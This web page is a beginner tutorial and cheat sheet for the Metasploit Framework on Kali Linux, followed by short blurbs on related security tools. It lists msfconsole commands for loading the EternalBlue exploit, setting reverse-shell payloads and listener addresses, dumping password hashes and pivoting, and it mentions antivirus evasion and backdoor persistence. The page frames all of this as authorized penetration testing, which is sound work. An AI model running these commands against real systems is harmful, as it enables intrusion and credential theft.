Exploitation
Learn how to use Metasploit Framework: install it on Kali Linux, launch msfconsole, search for exploit modules, set RHOSTS and LHOST, and run your first authorized lab exploit. This beginner tutorial covers msfconsole commands, Meterpreter sessions, msfvenom payloads, and post-exploitation — with practical examples for authorized penetration testing.
sudo apt install metasploit-framework
msfconsole
To use Metasploit, install it on Kali Linux, initialize the database with msfdb init, and launch msfconsole. The beginner loop is search, use, show options, set RHOSTS, LHOST and PAYLOAD, check, exploit, sessions: find a module for the service your scan found, load it, set the target and your callback address, verify with check where supported, run it, and manage the session that opens with sessions -l and sessions -i. Practice only on lab targets you own or are authorized to test, such as Metasploitable 2.
Metasploit Framework is the world's most widely used open-source penetration testing platform. Created by H.D. Moore in 2003 and now maintained by Rapid7, it provides security professionals with a modular architecture for developing, testing, and executing exploit code against remote targets. With over 2000 exploits and 500 payloads, it remains the backbone of offensive security operations worldwide.
The framework operates on a module-based architecture divided into exploits, payloads, auxiliary modules, post-exploitation modules, encoders, and nops. Exploits deliver code to compromise a target, payloads provide the attacker with interactive access (Meterpreter shells, command shells), auxiliary modules handle reconnaissance and fuzzing, and post-exploitation modules perform privilege escalation, credential harvesting, and lateral movement after initial compromise.
Metasploit integrates with the PostgreSQL database to store host, service, and vulnerability data gathered during reconnaissance phases. Combined with Nmap XML import capabilities, it creates a unified workflow from scanning through exploitation. The Meterpreter payload provides an advanced, stealthy post-exploitation environment with filesystem manipulation, screenshot capture, keylogging, privilege escalation, and persistent access modules.
Professionals choose Metasploit for authorized penetration testing, red team engagements, and vulnerability validation. It supports the complete attack lifecycle: reconnaissance with auxiliary modules, exploitation with the extensive exploit library, post-exploitation with Meterpreter and persistence scripts, and reporting through db_export. Whether used in a controlled lab or during an enterprise security assessment, Metasploit remains the definitive exploitation framework.
msfconsoleStart Metasploit - Open consolesearch <keyword>Search exploits - Find by name/CVEuse exploit/path/moduleLoad exploit - Select moduleshow optionsView settings - See required optionsset RHOSTS 192.168.1.1Set target - Configure target IPexploit / runExecute attack - Run the exploitsearch type:exploit platform:windowsFilter search - By type and platformsearch cve:2021-34527Search CVE - Find by CVE numberinfoModule info - Detailed exploit infoset PAYLOAD windows/meterpreter/reverse_tcpSet payload - Choose shell typeset LHOST 192.168.1.100Set listener IP - Your machine IPset LPORT 4444Set listener port - Your portsessions -lList sessions - Show active shellssessions -i 1Interact session - Enter session 1use auxiliary/scanner/portscan/tcpPort scanner - MSF port scanninguse auxiliary/scanner/smb/smb_ms17_010EternalBlue check - Scan for MS17-010use exploit/windows/smb/ms17_010_eternalblueEternalBlue exploit - Attack Windows SMBuse exploit/multi/handlerMulti handler - Catch reverse shellssetg RHOSTS 192.168.1.0/24Global variable - Set for all modulesdb_nmap -sV 192.168.1.0/24DB Nmap - Scan and store resultshostsView hosts - Show discovered hostsservicesView services - Show found servicesvulnsView vulnerabilities - Show found vulnsbackgroundBackground session - Keep shell runningroute add 10.0.0.0/24 1Add route - Pivot through sessionuse post/windows/gather/hashdumpHash dump - Extract password hashesuse post/multi/recon/local_exploit_suggesterExploit suggester - Find privesc exploitsmakerc /root/script.rcSave commands - Create resource scriptresource /root/script.rcRun script - Execute resource fileDeploy exploits against identified vulnerabilities in target systems to gain unauthorized access during authorized penetration tests.
Use Meterpreter sessions for privilege escalation, credential extraction, lateral movement, and persistent access after initial compromise.
Verify that discovered CVEs are actually exploitable before including them in remediation reports and patch priorities.
Create custom payloads and encoders to bypass antivirus and endpoint detection during red team engagements.
Extract password hashes, crack them offline, and use pass-the-hash techniques to move laterally across networks.
Generate malicious payloads for phishing campaigns and client-side attacks during authorized social engineering assessments.
Route traffic through compromised hosts to reach internal networks that are not directly accessible from the attack machine.
Install backdoors and persistent access mechanisms on compromised systems to maintain access across reboots and credential changes.
Conduct full adversary simulations using Metasploit as the primary exploitation and C2 framework during red team engagements.
Metasploit Framework is used for developing, testing, and executing exploit code against target systems during authorized penetration tests. It contains 2000+ exploits and 500+ payloads for compromising Windows, Linux, and macOS systems, plus post-exploitation tools like Meterpreter for privilege escalation and credential harvesting.
Yes. The Metasploit Framework (the open-source edition) is free and licensed under BSD. Rapid7 also offers Metasploit Pro, a commercial version with a web interface, team collaboration, and advanced reporting features, priced at approximately $5000 per year.
Metasploit works by matching known vulnerabilities with exploit modules that deliver payloads to target systems. You select an exploit module, configure it with target information (RHOSTS) and listener settings (LHOST, LPORT), then run it. If successful, the payload executes on the target and connects back to your listener, providing an interactive session.
Metasploit Framework is written in Ruby. Custom modules, exploits, and post-exploitation scripts are also developed in Ruby. Understanding Ruby is beneficial for writing custom modules, but basic usage of the framework does not require programming knowledge.
Meterpreter is an advanced, stealthy payload that runs in-memory on compromised systems. It provides interactive access with commands for filesystem manipulation, screenshots, keylogging, privilege escalation (getsystem), credential extraction (hashdump), and network pivoting without writing files to disk.
Yes. Metasploit Framework runs on Windows, Linux, and macOS. On Windows, install using the official installer from rapid7.com. However, Linux (especially Kali Linux) is recommended for the best experience due to native tool integration and module compatibility.
Metasploit Framework is free and open-source with a command-line interface, while Cobalt Strike is a commercial ($5000+/year) adversary simulation platform with a full GUI, team collaboration features, and customizable C2 profiles. Metasploit is best for learning and standard pentesting; Cobalt Strike excels in enterprise red team operations.
Yes, absolutely. Using Metasploit against any system without explicit written permission from the owner is illegal under laws like the CFAA (US) and Computer Misuse Act (UK). Always obtain proper authorization before testing, and practice in lab environments like Hack The Box or TryHackMe.
Popular Metasploit exploits include EternalBlue (MS17-010) for Windows SMB, Apache Struts for web servers, Tomcat manager exploitation, vsftpd backdoor, and PHP CGI injection modules. The ms17_010_eternalblue module remains one of the most widely used due to the prevalence of unpatched Windows systems.
Update Metasploit by running sudo apt update && sudo apt install metasploit-framework on Kali Linux. For manual installations, use the msfupdate command or pull from the GitHub repository: git pull in the Metasploit directory. Check the version with msfconsole -v.
Sniffing & Spoofing
Responder is an LLMNR, NBT-NS and MDNS poisoner. It responds to specific localized name resolution requests with rogue authentication challenges to harvest hashes and credentials.
Web Application
Burp Suite is the industry-standard web application security testing platform from PortSwigger, free as Community Edition on Kali Linux. Learn how to use Burp Suite: install it, route your browser through its proxy, intercept your first request, and test it with Repeater and Intruder.
Information Gathering
Learn how to use Nmap, the free open-source network scanner: run your first port scan, discover live hosts, detect services and operating systems, and check for vulnerabilities with NSE scripts — a beginner tutorial for Kali Linux.
Reverse Engineering
Learn how to use GDB, the GNU Debugger, by building a small C program with debug symbols and following it from the first breakpoint to a crash. Use the same steps to inspect variables, read a backtrace, and tell when a core dump or a look at the assembly would help.
Web Application
SQLMap is an open-source penetration testing tool that automates SQL injection detection and exploitation. It supports six SQL injection techniques (boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band) and over 30 database backends including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, and many more.
Wireless Attacks
Aircrack-ng is a complete suite of tools to assess WiFi network security. It focuses on different areas of WiFi security: monitoring, attacking, testing, and cracking.
Learn how to use Metasploit in Kali Linux: start msfconsole, search modules, run your first lab exploit, and master Meterpreter with a cheat sheet.
Red Team · IntermediateLearn what a reverse shell is, how it works, and how to set one up in a lab — listener setup, payloads in Bash, Python, PHP and PowerShell, a cheat sheet, TTY upgrade, and how to detect one.
Tools · BeginnerLearn how to use Dirb in Kali Linux: run your first directory scan, pick the right wordlist, and read the results — with a worked example and cheat sheet.
Tools · BeginnerNikto commands cheat sheet: install Nikto, run your first web server scan, read the results, tune scans and save reports — with a worked example.
The framework console utilizes colored indicators: green [+] means success, blue [*] signifies status updates, yellow [-] warns of failures, and red [!] highlights errors. A successful breach typically yields a message confirming a session has been opened.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.